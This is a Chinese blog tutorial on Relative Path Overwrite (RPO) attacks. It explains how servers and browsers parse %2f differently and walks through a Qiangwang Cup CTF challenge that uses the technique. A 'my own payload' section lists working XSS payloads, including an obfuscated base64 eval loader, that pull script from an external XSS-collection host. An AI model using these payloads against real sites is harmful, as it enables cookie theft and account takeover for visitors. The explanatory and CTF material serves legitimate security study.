标签 RPO 下的文章

RPO攻击

什么是ROP?

首先从名字上理解一下,RPO(Relative Path Overwrite)相对路径覆盖,即通过利用浏览器和服务器的反应差异,将页面中使用相对路径引入的静态资源文件偷梁换柱。

当我们把原本的静态资源文件替换成我们自定义的恶意脚本,就造成了 RPO 攻击,导致了XSS,信息泄露等漏洞产生。

服务器端对%2f的解析差异

对于Apache服务器:

访问http://localhost/RPO/index.php,成功
访问http://localhost/RPO%2findex.php,失败

对于Nginx服务器:

访问http://localhost/RPO/index.php,成功
访问http://localhost/RPO%2findex.php,成功
  • Nginx web服务器是会对带有%2f的URL解析的
  • Apache服务器时不能对带有%2f的URL进行解析的

浏览器端对%2f的解析

此处使用Nginx服务器。

访问http://localhost/RPO/aa%2fbb/index.php,css获取../style.css
浏览器请求的页面:http://localhost/RPO/aa%2fbb/index.php
浏览器”应该”请求的CSS:http://localhost/RPO/aa/style.css
浏览器实际请求的css:http://localhost/RPO/style.css
浏览器认为的当前路径是 :http://localhost/RPO/aa%2fbb/
  • 浏览器是不会识别%2f作为路径分割的

什么情况下会导致 RPO 攻击?

综上所述,要实现 RPO(注意是 RPO 不是 RPO 攻击) 要满足两个基本条件:

  • 服务端可以将 %2f 解析为“/”
  • 页面使用相对路径引入资源

而要构造 RPO 攻击,还需要满足:

  • 有内容可控的输出界面:如留言板、发布文章等。
  • 服务端使用了非精确匹配的正则匹配模式(这样可以将包含我们自定义内容的界面以静态资源的形式引入,而不是404的情况。

一个简单的验证方法是,在正常的地址后再添加/xxxxx/,如果仍然可以返回之前的内容,则说明满足要求。这种情况多见于 MVC 框架搭建的网站,或者自定义了 Nginx 以及 Apache 的路由规则,实现的伪静态网站。

这样,利用通过利用 ..%2f 将 我们自己构造的恶意代码,以静态文件的形式引入到页面,就造成了 RPO 攻击。

恶意代码可以是js,也可以是css

如果是插入在页面中则不需要<script>标签,只要语法正确就可以被解析。

  • 这里要知道js文件要求文件内所有内容必须满足其语法要求,只要出现一处错误就会error。
  • 而CSS文件只要文件内容有一部分满足 css 语法要求的代码,就可以正常解析。

我自己的payload

哈哈

<script src=http://xsspt.com/MoY085?1542458978></script>
http://xsspt.com/MoY085?1542458978
<script src=http://t.cn/E2Laj0R></script>
<script src=//xsspt.com/MoY085></script>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL01vWTA4NT8nK01hdGgucmFuZG9tKCk='))>

强网杯一道相关题目

http://39.107.33.96:20000/index.php/view/article/1654这个页面中已经有我们评论的相关恶意的js代码。

http://39.107.33.96:20000/index.php/view/article/1654/..%2f..%2f..%2f..%2f提交给后台机器人。
此时根据RPO攻击原理服务器端解析的URL为http://39.107.33.96:20000/index.php
而客户端浏览器加载的为http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js
而此时由于在pathinfo模式下,且服务器在找到有内容的页面后,不会解析后续没有意义的目录。此时浏览器去请求http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js服务器端返回给客户端浏览器的却是/index.php/view/article/1654的内容。而浏览器并不知情,所以就把返回的内容也就是我们提交的文章内容当作js来解析了。从而构成了一次xss攻击。

preView